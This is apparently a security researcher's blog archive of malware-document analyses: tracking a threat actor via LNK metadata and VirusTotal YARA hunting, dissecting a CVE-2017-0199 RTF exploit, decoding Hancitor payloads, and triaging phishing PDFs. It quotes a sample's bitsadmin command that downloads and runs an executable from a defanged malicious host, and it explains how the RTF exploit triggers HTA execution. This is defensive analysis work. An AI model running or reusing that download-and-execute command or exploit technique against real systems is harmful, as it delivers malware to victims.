Category Archives: maldoc

Hunting malware with metadata

A while ago Michel wrote a blog post Tracking threat actors through .LNK files.

In this post, we want to illustrate how VirusTotal (retro) hunting can be leveraged to extract malware samples and metadata linked to a single threat actor. We use the power of YARA rules to pinpoint the metadata we are looking for.

With some of the metadata extracted from the .LNK file we wrote about in our previous blog post (Volume ID and MAC address), we’re going to search on VirusTotal for samples with that metadata. It is clear from the MAC address 00:0C:29:5A:39:04 that the threat actor used a virtual machine to build malware: 00:0C:29 is an OUI owned by VMware. We wonder if the same VM was used to create other samples.
With a VirusTotal Intelligence subscription, one can search through the VirusTotal sample database, for example with YARA rules. We use the following YARA rule for the metadata:

$BirthObjectId = {C2 CC 13 98 18 B9 E2 41 82 40 54 A8 AD E2 0A 9A}
$MACAddress = {00 0C 29 5A 39 04}
all of them

VTI supports hunting and retro-hunting with YARA rules. With hunting, you will be informed each time your YARA rules triggers on the VT servers each time a newly submitted sample matching your rule. With retro-hunting, YARA rules are used to scan through 75TB of samples in the VT database. This correspond more or less to the set of samples submitted in the last three months.
Here is the result from a retro-hunt using YARA rule MALDOC_LNK:

Next step is to download and analyse all these samples. Since we did not include a file type condition in our YARA rule, we get different types of files: Word .doc files, .lnk files, raw OLE streams containing .lnk files, and MIME files (e-mails with Word documents as attachment).
With this command we search for strings containing “http” in the samples:

So we see that the same virtual machine has been used to created several samples. Here we extract the commands launched via the .lnk file:

There are 2 types of commands: downloading one executable; and downloading one executable and a decoy document.

The metadata from the OLE files reveals that the virtual machine has been used for a couple of weeks:


With metadata and VirusTotal, it is possible to identify samples created by the same actor over a period of 3 months. These samples can provide new metadata and IOCs.

Analysis of a CVE-2017-0199 Malicious RTF Document

There is a new exploit (CVE-2017-0199) going around for which a patch was released by Microsoft on 11/04/2017. In this post, we analyze an RTF document exploiting this vulnerability and provide a YARA rule for detection. is a Python tool to analyze RTF documents. Running it on our sample produces a list with all “entities” in the RTF document (text enclosed between {}):

This is often a huge list with a lot of information. But here, we are interested in OLE 1.0 objects embedded within this RTF file. We can use the filter with option -f O for such objects:

There are 2 entities (objdata and datastore) with indices 153 and 249 (this is a number generated by rtfdump, it is not part of the RTF code). The content of an object is encoded with hexadecimal characters in an RTF file,  entity 153 contains 5448 hexademical characters. So let’s take a look by selecting this entity for deeper analysis with option -s 153:

In this hex/ascii dump, we can see that the text starts with 01050000 02000000, indicating an OLE 1.0 object. As the second line starts with d0cf11e0, we can guess it contains an OLE file.

With option -H, we can convert the hexadecimal characters to binary:

Now we can see the string OLE2Link, which has often been referred to when talking about this zero-day. With option -i, we can get more information about the embedded object:

So it is clearly an embedded OLE file, and the name OLE2Link followed by a zero byte was chosen to identify this embedded OLE file. With option -E, we can extract the embedded object:

Since this is an OLE file, we can analyze it with we dump the file with option -d and pipe it into oledump:

The OLE file contains 2 streams. Let’s take a look at the first stream:

We can recognize a URL, let’s extract it with strings:

Because of vulnerability CVE-2017-0199, this URL will automatically be downloaded. The web server serving this document, will identify it as an HTA file via a Content-Type header:

Because this download is performed by the URL Moniker, this moniker will recognize the content-type and open the downloaded file with Microsoft’s HTA engine. The downloaded HTA file might look to us like an RTF file, but the HTA parser will find the VBS script and execute it:

This VBS script performs several actions, ultimately downloading and executing a malicious executable.


Let’s take a second look at the first stream in the OLE file (the stream with the malicious URL):

The byte sequence that we selected here (E0 C9 EA 79 F9 BA CE 11 8C 82 00 AA 00 4B A9 0B), is the binary representation of the URL Moniker GUID: {79EAC9E0-BAF9-11CE-8C82-00AA004BA90B}. Notice that the binary byte sequence and the text representation of the GUID is partially reversed, this is typical for GUIDs.

After the URL Moniker GUID, there is a length field, followed by the malicious URL (and then followed by a file closing sequence, …).

We use the following YARA rule to hunt for these RTF documents:

rule rtf_objdata_urlmoniker_http {
 $header = "{\\rtf1"
 $objdata = "objdata 0105000002000000" nocase
 $urlmoniker = "E0C9EA79F9BACE118C8200AA004BA90B" nocase
 $http = "68007400740070003a002f002f00" nocase
 $header at 0 and $objdata and $urlmoniker and $http

Remark 1: we do not search for string OLE2Link

Remark 2: with a bit of knowledge of the RTF language, it is trivial to modify documents to bypass detection by this rule

Remark 3: the search for http:// (string $http) is case sensitive, and if you want, you can omit it (for example, it will not trigger on https).

Remark 4: there is no test for the order in which these strings appear

Happy hunting!

Tracking threat actors through .LNK files

In the blog post .LNK downloader and bitsadmin.exe in malicious Office document we were asked the following question by Harlan Carvey:

Did you parse the LNK file for things such as embedded MAC address, NetBIOS system name, any SID, and volume serial number?

We did not do that at the time, however we see the value in this to track specific threat actors throughout different campaigns.

The Windows .LNK file format contains valuable and information that is specific for the host on which that .LNK file has been created including:

  • The MAC address of the host;
  • The NetBIOS system name;
  • the volume serial number.

This is all information that will not easily be changed on the threat actors workstation and which should be fairly unique.

For more information on the .LNK file format, take a look at the following ForensicWiki page:

I used the tool lnkanalyser from woanware to analyse the extracted .LNK file.


Now what information are we seeing here.

NOTE: this tool does not show the relative path, on other .LNK files we tested this was shown. This particular .LNK file’s relative path refers to cmd.exe in the C:\Windows\System32 folder.

The first thing that stands out is the argument, this is everything that is passed on to command line, this has been discussed in the the blog post .LNK downloader and bitsadmin.exe in malicious Office document.

Next interesting item is the Target Metadata. The timestamps shown here are the timestamps of the target executable, in this case cmd.exe, of the executable on the system of the person creating this .LNK file.

Concluding we have four artefacts tied to the workstation on which this .LNK was created that can be used to track a threat actor:

  • Hard disk Serial number: 60BDBF2D
  • Volume ID: C2CC139818B9E241824054A8ADE20A9A
  • Machine ID: 123-¯ª
  • Mac address: 00:0C:29:5A:39:04


Didier Stevens created a comprehensive screencap on how to extract the .LNK file from the Word document and analyze it with lnkanalyzer.exe:


For an extensive explanation of .LNK file attributes, we’d like to refer you to the following research:

New Hancitor maldocs keep on coming…

Didier Stevens will provide NVISO training on malicious documents at Brucon Spring: Malicious Documents for Blue and Red Teams.

For more than half a year now we see malicious Office documents delivering Hancitor malware via a combination of VBA, shellcode and embedded executable. The VBA code decodes and executes the shellcode, the shellcode hunts for the embedded executable, decodes and executes it.

From the beginning, the embedded executable was encoded with a bit more complexity than a simple XOR operation. Here in the shellcode we see that the embedded executable is decoded by adding 3 to each byte and XORing with 17. Then base64 decoding and the EXE is decoded.


The gang behind Hancitor steadily delivered new maldocs, without changing much to this encoding method. Until about 2 months ago we started to see samples where the XOR key was a WORD (2 bytes) instead of a single byte.

Recently we received a sample that changed the encoding of the embedded executable again. This sample still uses macros, shellcode and an embedded executable:


The encoded shellcode is still in a form (stream 16), and the embedded executable is still in data (stream 5), appended after a PNG image:


If we look at the embedded executable, we see that the pattern has changed: in the beginning, we see a pattern of 4 repeating bytes. This is a strong indication that the group started to adopt a DWORD (4 bytes) key:


We can try to recover the xor key by performing a known plaintext attack: up til now, the embedded executables were base64 encoded and started with TVqQAA… Let’s use xor-kpa to try to recover the key:


We still find no key after trying out all add values between 1 and 16. Could it be that this time, it is just XOR encoded without addition? Let’s try:


Indeed! The key is xP4?.

We can now decode and extract the embedded executable:





The gang behind Hancitor has been creating complex malicious document to deliver their malware, and we constantly have to keep up our analysis techniques.

.LNK downloader and bitsadmin.exe in malicious Office document

We received a malicious office document (529581c1418fceda983336b002297a8e) that tricks the user into clicking on an embedded LNK file which in its turn uses the Microsoft Background Intelligent Transfer Service (BITS) to download a malicious binary from the internet.

The following Word document (in Japanese) claims to be an invoice, the user must click the Word icon to generate the amount to be paid.


When using to analyze this Word document we get the following output:

Screen Shot 2017-03-23 at 18.26.36

As you can see, in stream 8 an embedded OLE object is present. Using the following command we can obtain information on what this embedded OLE object exactly is: -s 8 -i ./document_669883.doc

Screen Shot 2017-03-23 at 18.28.14

The embedded object is thus an LNK file, we can then use the following command to get a hexdump on what this LNK file actually contains: -s 8 ./document_669883.doc

Screen Shot 2017-03-23 at 18.32.19

When going through this hexdump we can spot the intentions of this LNK file:

Screen Shot 2017-03-23 at 18.32.59

Now, to make this a bit easier to read we can use the following command: -s 8 -d document_669883.doc

Which provides the following output:

clean output.png

Opening the LNK file will execute the following command:

C:\Windows\System32\cmd.exe %windir% /c explorer.exe & bitsadmin.exe /transfer /priority high hxxp://av.ka289cisce[.]org/rh72.bin %AppData%\file.exe & %AppData%\file.exe

When looking at the timestamps of the Word document, we noticed that the file was last saved on 2017-03-22 19:20:00. The first sighting of this file on VirusTotal was already at 2017-03-22 23:15:59 UTC, less than 4 hour after it was last saved. This could explain why the link containing the binary file was no longer active at the time of our analysis (12 hours after first sighting on VirusTotal).

If you want to check if your organisation has been impacted by a similar document, you can detect the malicious downloads by looking through your proxy logs and searching for the following user agent: “Microsoft BITS/*”. While there are multiple software packages that use the BITS.EXE to download updates, these are currently still pretty limited, filtering for unique destination hosts will limit your dataset significantly enough for you to be able to spot the outlier(s) easily.

PDF Analysis: Back To Basics

When you receive a suspicious PDF these days, it could be just a scam without malicious code. Let’s see how to analyze such samples with PDF Tools.

As always, we first take a look with pdfid:


There’s nothing special to see, but we have to check the content of the Stream Objects (/ObjStm):


Still nothing special to see. This could be a malicious PDF document with a pure binary exploit (e.g. without using JavaScript), but nowadays, it’s more likely that we received a PDF containing links to a malicious website, like a phishing website.

To check for URLs, use option search (-s) to search for the string uri (the search option is not case sensitive):


And indeed we find objects with URIs. These are links tied to a rectangle, thus a zone that must be clicked by the user to “activate” the URL: Adobe Reader will display a warning, and after user acceptance, the default browser will be launched to visit the given URL.

pdf-parser also has an option to select key-value pairs from dictionaries of PDF objects: option -k. This is useful to generate a quick overview. This option is case sensitive, and the full keyname must be provided:


When we open the PDF document with Adobe Reader, we get visual confirmation that it is a phishing PDF:


And this is the phishing website:


Conclusion: if pdfid reports nothing suspicious, before looking for binary exploits (for example with pdf-parser’s YARA support), search first for URIs with pdf-parser.